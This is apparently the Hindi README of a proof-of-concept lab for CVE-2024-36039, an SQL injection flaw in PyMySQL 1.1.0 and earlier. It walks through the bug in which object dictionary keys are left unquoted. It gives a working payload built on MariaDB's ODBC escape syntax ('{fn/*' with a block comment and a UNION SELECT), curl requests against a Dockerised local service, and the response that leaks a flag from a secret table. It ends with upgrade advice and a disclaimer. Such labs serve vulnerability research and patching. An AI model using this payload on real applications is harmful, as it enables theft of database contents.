
CVE-2024-36039 के लिए PoC: PyMySQL ऑब्जेक्ट-टू-स्ट्रिंग सीरियलाइज़ेशन दोष के माध्यम से SQL इंजेक्शन का प्रदर्शन
CVE-2024-36039 के लिए एक संपूर्ण, प्रतिलिपि योग्य प्रूफ ऑफ कॉन्सेप्ट (PoC) प्रयोगशाला, जो दर्शाती है कि PyMySQL (संस्करण <= 1.1.0) में एक ऑब्जेक्ट इंजेक्शन भेद्यता को MariaDB के ODBC एस्केप सीक्वेंस का उपयोग करके पूर्ण SQL इंजेक्शन में कैसे बढ़ाया जा सकता है।
CVE-2024-36039, PyMySQL में एक भेद्यता है, जो एक शुद्ध-Python MySQL क्लाइंट लाइब्रेरी है।
जब पैरामीटरयुक्त क्वेरी (जैसे, execute("SELECT * FROM table WHERE data = %s", (my_dict,))) एक Python डिक्शनरी प्राप्त करती हैं जहाँ कुंजियाँ मानक स्ट्रिंग के बजाय कस्टम ऑब्जेक्ट होती हैं, PyMySQL इसे SQL स्ट्रिंग में क्रमबद्ध करने के लिए ऑब्जेक्ट की __str__ या __repr__ विधि का उपयोग करता है।
बग: PyMySQL ऑब्जेक्ट कुंजी के परिणामी स्ट्रिंग को एस्केप करना (सिंगल कोट्स में लपेटना) भूल जाता है।
इसके परिणामस्वरूप एक कच्चा, बिना कोट वाला स्ट्रिंग सीधे डिक्शनरी के रूप में स्वरूपित SQL स्टेटमेंट में इंजेक्ट हो जाता है: {UnquotedObjectString: 'EscapedValue'}।
अकेले, MariaDB क्वेरी में {UnquotedKey: 'Value'} इंजेक्ट करने से 1064 सिंटैक्स त्रुटि उत्पन्न होगी क्योंकि {} मानक SQL डेटा सिंटैक्स नहीं है।
हालाँकि, MariaDB/MySQL ODBC एस्केप सीक्वेंस का समर्थन करता है, जो घुंघराले ब्रेसेस {} का उपयोग करते हैं। सिंटैक्स त्रुटि को दरकिनार करने के लिए, { के तुरंत बाद की स्ट्रिंग एक मान्य ODBC कीवर्ड (जैसे, d, t, ts, fn) होनी चाहिए।
__repr__ विधि के माध्यम से fn/* लौटाता है।*/ 1} UNION SELECT 1, flag, 3 FROM secret -- पर सेट करते हैं।SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
{fn : MariaDB एक ODBC स्केलर फ़ंक्शन की शुरुआत को पहचानता है।/*: "'*/ : MariaDB इसे ब्लॉक टिप्पणी के रूप में मानता है। PyMySQL द्वारा उत्पन्न कोलन : और उद्घाटन कोट ' पूरी तरह से अनदेखा कर दिए जाते हैं! 1} : ODBC फ़ंक्शन को पूरा करता है (प्रभावी रूप से पूर्णांक 1 लौटाता है)। UNION SELECT 1, flag, 3 FROM secret : हमारा इंजेक्ट किया गया SQL पेलोड निष्पादित होता है।परिणाम: एक त्रुटिहीन SQL इंजेक्शन जो एप्लिकेशन लॉजिक और PyMySQL की पैरामीटरकरण दोनों को दरकिनार कर देता है!
इस रिपॉजिटरी को क्लोन करें और वातावरण को चालू करें:
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build
(MariaDB कंटेनर के पूरी तरह से प्रारंभ होने के लिए लगभग 15-20 सेकंड प्रतीक्षा करें)।
एक मानक JSON अनुरोध भेजें। बैकएंड JSON कुंजी को CustomKey ऑब्जेक्ट में कास्ट करेगा।
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"yamato": "Any_value"}'
प्रतिक्रिया: आपको एक SQL सिंटैक्स त्रुटि मिलेगी जो दर्शाती है कि {yamato: "'Any_value'"} अमान्य SQL है, जो इंजेक्शन बिंदु की पुष्टि करता है।
सिंटैक्स त्रुटि को दरकिनार करने और secret तालिका से छिपे हुए फ्लैग को निकालने के लिए ODBC एस्केप सीक्वेंस पेलोड इंजेक्ट करें।
curl -X POST http://localhost:9669/search \
-H "Content-Type: application/json" \
-d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'
प्रतिक्रिया (PWNED!):
{
"data":[
{
"device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
"id": 1,
"log_data": "3"
}
],
"status": "success"
}
इस भेद्यता को ठीक करने के लिए, PyMySQL को संस्करण 1.1.1 या बाद के संस्करण में अपग्रेड करें।
पैच किए गए संस्करणों में, डेवलपर्स यह सुनिश्चित करते हैं कि SQL स्टेटमेंट में डालने से पहले सभी डिक्शनरी कुंजियाँ, चाहे उनका प्रकार कुछ भी हो, ठीक से एस्केप और कोट की जाती हैं।
pip install --upgrade PyMySQL
अस्वीकरण: यह रिपॉजिटरी केवल शैक्षणिक और शोध प्रयोजनों के लिए बनाई गई है। इन तकनीकों का उपयोग उन प्रणालियों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति नहीं है।
© 2026 zenniskayy द्वारा। एक सुरक्षित इंटरनेट के लिए निर्मित।
-- '"} : SQL टिप्पणी शेष ट्रेलिंग कचरे ('}) को अनदेखा कर देती है।